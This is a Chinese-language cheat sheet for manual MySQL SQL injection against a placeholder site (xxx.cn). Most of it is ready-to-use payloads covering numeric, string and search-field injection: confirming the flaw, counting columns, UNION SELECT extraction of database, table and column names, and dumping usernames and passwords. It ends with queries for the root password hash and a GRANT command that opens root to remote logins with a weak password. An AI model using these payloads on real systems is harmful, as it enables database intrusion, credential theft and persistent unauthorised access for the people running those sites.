MySQL手工注入

判断注入点是否存在

  数字型
  url后输入
  http://www.xxx.cn/list.php?page=4&id=524‘ 返回错误  
  http://www.xxx.cn/list.php?page=4&id=524 and 1=1 返回正确
  http://www.xxx.cn/list.php?page=4&id=524 and 1=2 返回错误
  
  字符型
  url后输入
  http://www.xxx.cn/list.php?page=4&cid=x‘              返回错误  
  http://www.xxx.cn/list.php?page=4&cid=x‘ and 1=1 and ‘1’=’1 返回正确
  http://www.xxx.cn/list.php?page=4&cid=x‘ and 1=2 and ‘1’=’1 返回错误

  搜索型
  输入框中输入
  ‘                         返回错误
  x%’ and 1=1 and ‘%’=’%    返回正确
  x%’ and 1=2 and ‘%’=’%    返回错误

判断字段数

  数字型
  http://www.xxx.cn/list.php?page=4&id=524 order by 17 返回正确
  http://www.xxx.cn/list.php?page=4&id=524 order by 18 返回错误
  得出结论:字段数17。

  字符型
  http://www.xxx.cn/list.php?page=4&cid=x‘ order by 17 #  返回正确
  http://www.xxx.cn/list.php?page=4&cid=x‘ order by 18 #   返回错误
  得出结论:字段数17。

  搜索型
  x%’ order by 17 #     返回正确
  x%’ order by 18 # 返回错误
  得出结论:字段数17。

寻找可显示字段

  数字型
  http://www.xxx.cn/list.php?page=4&id=524 and 1=2 union select 1,2,3,4,5,6,7,8,9,….

  字符型
  http://www.xxx.cn/list.php?page=4&cid=x‘ and 1=2 union select 1,2,3,4,5,6,7,8,9,…. #

  搜索型
  x%’ and 1=2 union select 1,2,3,4,5,6,7,8,9,…. #

查数据库名

  数字型
  http://www.xxx.cn/list.php?page=4&id=524 and 1=2 union select 1,2,database(),4,5,6,7,8,9,….
  
  字符型
  http://www.xxx.cn/list.php?page=4&cid=x‘ and 1=2 union select 1,2,database(),4,5,6,7,8,9,…. #

  搜索型
  x%’ and 1=2 union select 1,2,database(),4,5,6,7,8,9,…. #

查数据库中表名

  数字型
  http://www.xxx.cn/list.php?page=4&id=524 and 1=2 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=’数据库名’
数据库名也可以使用十六进制

  字符型
  http://www.xxx.cn/list.php?page=4&id=x‘ and 1=2 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=’数据库名’ #
数据库名也可以使用十六进制

  搜索型
  小迪%’ and 1=2 union select 1,2,group_concat(table_name),4,5,6,7,8,9,…. from information_schema.tables where table_schema=’数据库名’ #
数据库名也可以使用十六进制

查表中的列名

  数字型
  http://www.xxx.cn/list.php?page=4&id=524 and 1=2 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name=’表名’
表名也可以使用十六进制

  字符型
http://www.xxx.cn/list.php?page=4&id=x‘ and 1=2 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name=’表名’ #
表名也可以使用十六进制

  搜索型
小迪%’ and 1=2 union select 1,2,group_concat(column_name),4,5,6,7,8,9,…. from information_schema.columns where table_name=’表名’ #
表名也可以使用十六进制

查表中的数据

  数字型
  http://www.xxx.cn/list.php?page=4&id=524 and 1=2 union select 1,group_concat(username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from 表名

  字符型
  http://www.xxx.cn/list.php?page=4&id=x‘ and 1=2 union select 1,group_concat(username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from 表名 #

  搜索型
  x%’ and 1=2 union select 1,2,group_concat(username,password),4,5,6,7,8,9,…. from 表名 #

1
2
3
4
5
6
7
8
9
10
显示版本:select version();
显示字符集:select @@character_set_database;
显示数据库show databases;
显示表名:show tables;
显示计算机名:select @@hostname;
显示系统版本:select @@version_compile_os;
显示mysql路径:select @@basedir;
显示数据库路径:select @@datadir;
显示root密码:select User,Password from mysql.user;
开启外连:GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;